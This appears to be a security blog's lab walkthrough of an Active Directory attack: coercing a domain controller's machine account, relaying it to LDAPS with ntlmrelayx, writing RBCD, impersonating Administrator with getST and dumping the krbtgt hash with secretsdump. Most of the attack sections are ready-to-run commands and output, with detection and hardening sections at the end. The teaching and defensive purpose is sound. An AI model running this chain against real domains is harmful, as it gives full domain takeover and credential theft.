0
Hands-on Labs ADVANCED 15 min read Updated

NTLM Relay to LDAP for RBCD Takeover in a Lab

A hands-on NTLM relay walkthrough in an AD lab you own: coerce a machine account, relay the authentication to LDAP, write RBCD, and request a ticket to impersonate an admin.

founder & security researcher · 39 writeups
NTLM Relay to LDAP for RBCD Takeover in a Lab

An NTLM relay attack takes a Windows authentication you pulled out of a machine and forwards it, still valid, to a service that will act on it, rather than trying to crack the password behind it. This walkthrough runs the full chain in an Active Directory lab you own: you coerce a domain controller's machine account into authenticating to you, relay that authentication to LDAP, write a resource-based constrained delegation (RBCD) attribute, then request a Kerberos service ticket that impersonates a domain admin. The result is code execution on the DC without ever seeing a single password.

Read it top to bottom once to understand why each link in the chain exists, then keep it open while you reproduce it on your own hosts. Every command here targets a lab in the 10.10.10.0/24 range that you built and control.

Scope

Run this only inside an Active Directory lab you own or are explicitly authorized to test, such as a few VMs on 10.10.10.0/24. Coercing and relaying authentication against systems you do not own is a crime.

01What an NTLM relay is and why it beats cracking

An NTLM relay sidesteps the password entirely by forwarding a live authentication instead of recovering the secret behind it. When a Windows host authenticates with NTLM, it proves it knows the account's NT hash through a challenge and response, but it never sends the hash itself. If you capture that exchange, you cannot replay it elsewhere directly, and cracking it offline only works for weak passwords. A machine account password is 120 random characters that rotate automatically, so cracking is a dead end.

Relaying flips the problem. You sit in the middle of the authentication, take the response the victim computes against your challenge, and pass it straight to a third service as if you were the client. That service completes the handshake and treats the whole session as the victim account. You never learn the password, you borrow the identity for the length of a connection. Against a machine account that happens to be a domain controller, borrowing that identity for one LDAP write is enough to take over the domain.

The reason this still works decades after it was first demonstrated is that NTLM has no built-in binding between the authentication and the channel it travels on. Nothing in the protocol says "this response is only valid for the server I meant to talk to." Signing and channel binding were bolted on later to add exactly that binding, which is why the next section is about when those protections are missing.

02When an NTLM relay actually works

An NTLM relay only lands when the target service does not cryptographically tie the session to the authentication. Two settings decide this, and both are commonly left soft in real domains. The first is SMB signing: if a server does not require signing, you can relay inbound SMB authentication to it. The second matters for our target, LDAP: a relay to LDAP succeeds only when LDAP signing is not enforced, and a relay to LDAPS succeeds only when channel binding (Extended Protection for Authentication, EPA) is off.

The table below is the quick mental model for whether a given relay path is open.

Target protocolProtectionRelay works when
SMBSMB signingSigning is not required on the target host
LDAP (389)LDAP server signingSigning is set to "none" rather than "require"
LDAPS (636)Channel binding (EPA)Channel binding is disabled on the DC

Default domain controllers are the gift here. For years the out-of-box posture was LDAP signing not required and channel binding off, so a relayed authentication to the DC's own LDAP service was accepted without complaint. Microsoft hardening guidance pushed both toward enforced, but plenty of labs and production domains still ship them soft, which is exactly the state we assume below. netexec will tell you in seconds which hosts are relayable.

finding hosts with SMB signing not required
$ nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
SMB  10.10.10.2  445  DC01  [*] Windows Server 2022 (name:DC01) (domain:lab.0xpriv.dev) (signing:False) (SMBv1:False)
SMB  10.10.10.6  445  FILE01  [*] Windows Server 2022 (signing:False)
$ cat relay_targets.txt
10.10.10.2
10.10.10.6

03The RBCD takeover chain end to end

The RBCD takeover chain strings five simple steps into one domain compromise, and seeing them laid out first makes every command afterward obvious. Resource-based constrained delegation is a Kerberos feature where a target computer decides which accounts are allowed to impersonate users to it. That decision lives in one attribute on the target's computer object, msDS-AllowedToActOnBehalfOfOtherIdentity. If you can write that attribute, you can nominate an account you control as a trusted delegator, and from there you can ask the KDC for a ticket to the target as any user you like.

The relay is how you get the write. You make a privileged machine account authenticate to you, relay it to LDAP, and use that borrowed identity to edit the target's delegation attribute. The diagram below is the whole plan on one line.

the relay to RBCD takeover chain
Coerce DC01$PetitPotam Relay to LDAPntlmrelayx Write RBCDon DC01$ getST S4Uimpersonate admin Admin on DC01

Each step is standard tooling. The only part that needs a privileged victim is the coercion, and a domain controller's own machine account is as privileged as it gets, which is why DC coercion is the classic opener.

Coerce

Force DC01's machine account to authenticate over the network to your relay host.

Relay

ntlmrelayx takes that authentication and binds to the DC's LDAP as the DC machine account.

Delegate

Over that LDAP session, create or reuse a computer account and write it into DC01's RBCD attribute.

Impersonate

Use your computer account to request a service ticket for DC01 as the Administrator with getST.

Use it

Load the ticket and run secretsdump or psexec against DC01 as that admin.

04Coercing a machine account to authenticate

Coercing a machine account means making a remote Windows host start an outbound authentication to a destination you pick, without any credentials of your own. Several Windows RPC interfaces expose methods that take a path and then reach out to it, and if you hand them a UNC path pointing at your relay host, the service connects back and authenticates as its own machine account. That is the trigger for the whole chain.

The two coercion families worth knowing are the EFSRPC methods popularized by PetitPotam and the print spooler method behind PrinterBug. Coercer rolls many of these into one tool and sweeps every known method. At a high level you point the coercer at the victim DC and give it your relay host as the listener target. The call itself is a single standard invocation, and the mechanism is simply "ask the DC to open a file on my box."

bash
# 0xpriv.dev/labs
# high level: ask DC01 to authenticate to our relay host at 10.10.10.5
# (PetitPotam-style EFSRPC coercion; Coercer sweeps all known methods)
python3 PetitPotam.py 10.10.10.5 10.10.10.2

# or let Coercer enumerate and fire every available method
coercer coerce -t 10.10.10.2 -l 10.10.10.5 -u lowpriv -p 'LabPass123'
Who authenticates

Because the service runs as SYSTEM, the outbound authentication uses the host's machine account, DC01$. That account is a member of the domain and, on a DC, it can write delegation attributes on other computer objects, which is the privilege the relay inherits.

Some coercion methods need a low-privilege domain account and some do not, depending on the interface and patch level. In a lab you can test both. The important point for the relay is only the destination: whatever method fires, the DC must connect to the host where ntlmrelayx is listening.

05Relaying that authentication to LDAP

Relaying to LDAP is where the borrowed machine-account identity gets spent on a directory write. Before you coerce anything, you start ntlmrelayx so it is listening when the DC connects. You point it at the DC's LDAP endpoint as the relay target and tell it what to do once the bind succeeds. The diagram shows the three parties while the relay is in flight.

the relay in flight
DC01$ (coerced)10.10.10.2 NTLM Attacker relayntlmrelayx 10.10.10.5 LDAP bind LDAP on DC01as DC01$

Notice the relay target is the same DC that authenticates. The DC coerces out to you, you relay it straight back to the DC's directory service, and the directory accepts the bind because signing and channel binding are not enforced. This reflection is fine for LDAP writes even though SMB-to-self relay is blocked by the OS.

06Running ntlmrelayx with delegate-access

Running ntlmrelayx with the delegate-access option turns a relayed LDAP bind into an automatic RBCD setup. The --delegate-access flag tells impacket to, once the bind lands, create a new computer account over LDAP and then write that account into the victim's msDS-AllowedToActOnBehalfOfOtherIdentity. A fresh computer account is handy because by default the domain lets authenticated users add up to ten machine accounts (the ms-DS-MachineAccountQuota), and a computer account has the service principal name that S4U requires.

bash
# listen and relay to the DC's LDAP, auto-configuring RBCD on success
ntlmrelayx.py -t ldaps://10.10.10.2 -smb2support --delegate-access

# if you already control a computer account, point the delegation at it
ntlmrelayx.py -t ldaps://10.10.10.2 -smb2support \
  --delegate-access --escalate-user 'ATTACKER$'

Target LDAPS on 636 when you can, because a DC often rejects the sensitive write over plain LDAP but accepts it over the TLS channel when channel binding is off. When ntlmrelayx succeeds it prints the computer account it created, with its generated password, and confirms the delegation write. Save that output, you need the account name and password for the next step.

ntlmrelayx configuring RBCD after the coerced bind
$ ntlmrelayx.py -t ldaps://10.10.10.2 -smb2support --delegate-access
[*] Servers started, waiting for connections
[*] Received connection from 10.10.10.2, attacking target ldaps://10.10.10.2
[*] Authenticating against ldaps://10.10.10.2 as LAB/DC01$ SUCCEED
[*] Attempting to create computer in: CN=Computers,DC=lab,DC=0xpriv,DC=dev
[*] Adding new computer with username: WK1A7X$ and password: 7qS#2...redacted
[*] Delegation rights modified successfully!
[*] WK1A7X$ can now impersonate users on DC01$ via S4U2Proxy
Machine account quota

If ms-DS-MachineAccountQuota is 0, ntlmrelayx cannot create a computer account and the auto-RBCD path stops. That is both a defense and your cue to supply an account you already control with --escalate-user.

07Requesting a ticket with getST and using it

Requesting a service ticket with getST is the step that cashes the delegation write into real access. Now that your computer account is trusted to delegate to DC01, you use the Kerberos S4U2Self and S4U2Proxy extensions to ask the KDC for a ticket to a service on DC01 while naming any user you want to impersonate. impacket's getST does both legs in one command. Pick a sensitive user such as Administrator and a service such as CIFS so the ticket is good for file and admin operations.

bash
# request a CIFS ticket for DC01 as the Administrator, via the controlled account
getST.py -spn cifs/DC01.lab.0xpriv.dev \
  -impersonate Administrator \
  -dc-ip 10.10.10.2 \
  'lab.0xpriv.dev/WK1A7X$:7qS#2...redacted'

getST writes a credential cache file, Administrator@cifs_DC01...ccache. Point the KRB5CCNAME environment variable at it and every impacket tool that supports Kerberos will use it with -k -no-pass. From there, secretsdump reads the domain's secrets, including the krbtgt hash that lets you forge golden tickets, which is full domain compromise.

bash
# load the ticket and act as Administrator on DC01
export KRB5CCNAME=Administrator@cifs_DC01.lab.0xpriv.dev.ccache
secretsdump.py -k -no-pass DC01.lab.0xpriv.dev
# or an interactive SYSTEM shell
psexec.py -k -no-pass DC01.lab.0xpriv.dev
cashing the ticket into a DCSync
$ export KRB5CCNAME=Administrator@cifs_DC01.lab.0xpriv.dev.ccache
$ secretsdump.py -k -no-pass DC01.lab.0xpriv.dev -just-dc-user krbtgt
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b...:5f4dcc3b5aa765d61d8327deb882cf99:::
[*] Cleaning up...

08A worked walkthrough on 10.10.10.0/24

The worked walkthrough pulls every piece together against a three-host lab so you can watch the chain run from empty hands to DCSync. The lab is one domain, lab.0xpriv.dev, with a domain controller DC01 at 10.10.10.2, a member server at 10.10.10.6, and your attacker box at 10.10.10.5 running impacket and netexec. Signing and channel binding are left at their soft defaults on the DC, and the machine account quota is the default ten.

Confirm the relay is open

Run nxc ldap 10.10.10.2 and nxc smb 10.10.10.0/24 --gen-relay-list to confirm LDAP signing is not required and the DC shows signing:False.

Start the relay

On 10.10.10.5 launch ntlmrelayx.py -t ldaps://10.10.10.2 -smb2support --delegate-access and leave it listening.

Coerce the DC

In a second shell, trigger DC01$ to authenticate to 10.10.10.5 with a PetitPotam-style call. The relay catches the bind.

Read the loot

ntlmrelayx prints the created computer account WK1A7X$ with its password and confirms the delegation write on DC01$.

Mint the ticket

Run getST for cifs/DC01.lab.0xpriv.dev impersonating Administrator with the WK1A7X$ credentials.

Own the DC

Set KRB5CCNAME to the ccache and run secretsdump with -k -no-pass. The krbtgt hash drops out and the lab is yours.

Time it once and you will see how fast this is. The coercion and relay take seconds, the RBCD write is instant, and getST plus secretsdump are two short commands. That speed is exactly why defenders lean on configuration hardening rather than hoping to catch the attack mid-flight.

Lab only

This chain hands you domain-admin-equivalent control of a DC. Keep it on isolated VMs with no route to anything you do not own, and tear the lab down or snapshot it back when you are done.

09Detecting the attack

Detecting this chain is about watching for its fingerprints in directory and Kerberos logs, because no single event screams "relay" on its own. The strongest signals cluster around the LDAP bind, the attribute write, and the ticket request. Turn on the right auditing in the lab and replay the attack to see each one fire.

SignalWhere to look
Unsigned LDAP bindsDC event 2889 (needs LDAP interface diagnostic logging) lists clients binding without signing
RBCD attribute changeEvent 5136 showing msDS-AllowedToActOnBehalfOfOtherIdentity modified on a computer object
New computer accountEvent 4741, a machine account created at an odd time by an unexpected account
Impersonation ticketEvent 4769 for a service ticket, often with the S4U pattern and a mismatched requestor
Machine-account coercionUnexpected inbound SMB from a DC to a non-infrastructure host, plus EFSRPC or spooler RPC traffic

The highest-value alert is a change to msDS-AllowedToActOnBehalfOfOtherIdentity. Almost nothing legitimately writes that attribute, so a 5136 on it, especially on a domain controller object, is close to a true positive. Pair it with a 4741 for a computer account you did not provision and a 4769 impersonating a privileged user from that same account, and you have the relay-to-RBCD story end to end.

10Shutting it down on a .mit box

Shutting this down is a hardening exercise, and every control below removes one required link so the chain cannot complete. None of them depends on catching the attacker in the act. Apply them in the lab, re-run the chain, and watch it fail at a different step each time.

How to shut it down
Enforce SMB signing everywhere. Require signing on servers and clients by GPO so inbound SMB relay has nowhere soft to land.
Enable LDAP signing and channel binding. Set the DC to require LDAP signing and turn on channel binding (EPA) so a relayed bind to LDAP or LDAPS is rejected.
Patch the coercion vectors. Keep DCs patched against PetitPotam-style EFSRPC abuse and disable the Print Spooler service on domain controllers to kill PrinterBug.
Set the machine account quota to zero. Dropping ms-DS-MachineAccountQuota to 0 stops low-privilege accounts, and ntlmrelayx, from creating the computer account the attack needs.
Monitor the delegation attribute. Alert on any write to msDS-AllowedToActOnBehalfOfOtherIdentity and on new computer accounts, so the rare legitimate change is reviewed and the malicious one is caught.

If you can go further, disable NTLM where your environment allows it and restrict which accounts can delegate at all. The single highest-impact change for most domains is enforcing LDAP channel binding and signing, because that one setting closes the exact relay target this walkthrough depends on.

11FAQ

Why relay NTLM instead of cracking the captured hash?FAQ

An NTLM authentication over the wire is a challenge and response, not the hash itself, and machine account passwords are long and random, so offline cracking almost never works. Relaying forwards the live authentication to another service and borrows the account's identity for that session, which needs no cracking at all.

Can I relay to LDAPS if channel binding is enabled?FAQ

No. Channel binding (Extended Protection for Authentication) ties the NTLM authentication to the specific TLS channel, so a relayed bind arrives on the wrong channel and the DC rejects it. That is why enabling channel binding is the defense that most directly breaks this chain.

What is RBCD and why does writing one attribute matter so much?FAQ

Resource-based constrained delegation lets a target computer list the accounts allowed to impersonate users to it, in the attribute msDS-AllowedToActOnBehalfOfOtherIdentity. Writing your own account into that list on a domain controller lets you request Kerberos tickets to that DC as any user, including Administrator, so one attribute write becomes full control.

Does setting the machine account quota to zero fully stop this?FAQ

It stops the convenient auto-create path, since ntlmrelayx can no longer add a computer account to delegate to. An attacker who already controls a computer account can still use --escalate-user, so treat the quota as one layer and still enforce LDAP signing and channel binding.

Which coercion method should I use in the lab?FAQ

Try several. PetitPotam-style EFSRPC and the spooler PrinterBug are the classics, and Coercer sweeps every known method for you. The method only decides how the DC is nudged into authenticating, the relay and RBCD steps that follow are identical whichever one fires.

12Wrapping up

An NTLM relay to LDAP turns one coerced authentication into domain takeover without touching a password, because borrowing a domain controller's machine account for a single RBCD write is all it takes to then mint a ticket as any admin. Build the three-host lab, confirm signing and channel binding are soft, and run the chain once by hand so each step is concrete. Then flip the hardening on, run it again, and watch it die at the LDAP bind. The attack is old and the fix is known, but the default posture is still soft often enough that it remains one of the most reliable paths from a foothold to the whole domain.

references

Was this writeup useful?
Alex Rowan Founder & Security Researcher at 0xpriv

Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.

related writeups

more in Labs →

discussion

0 comments
`code` supported · comments are reviewed before they appear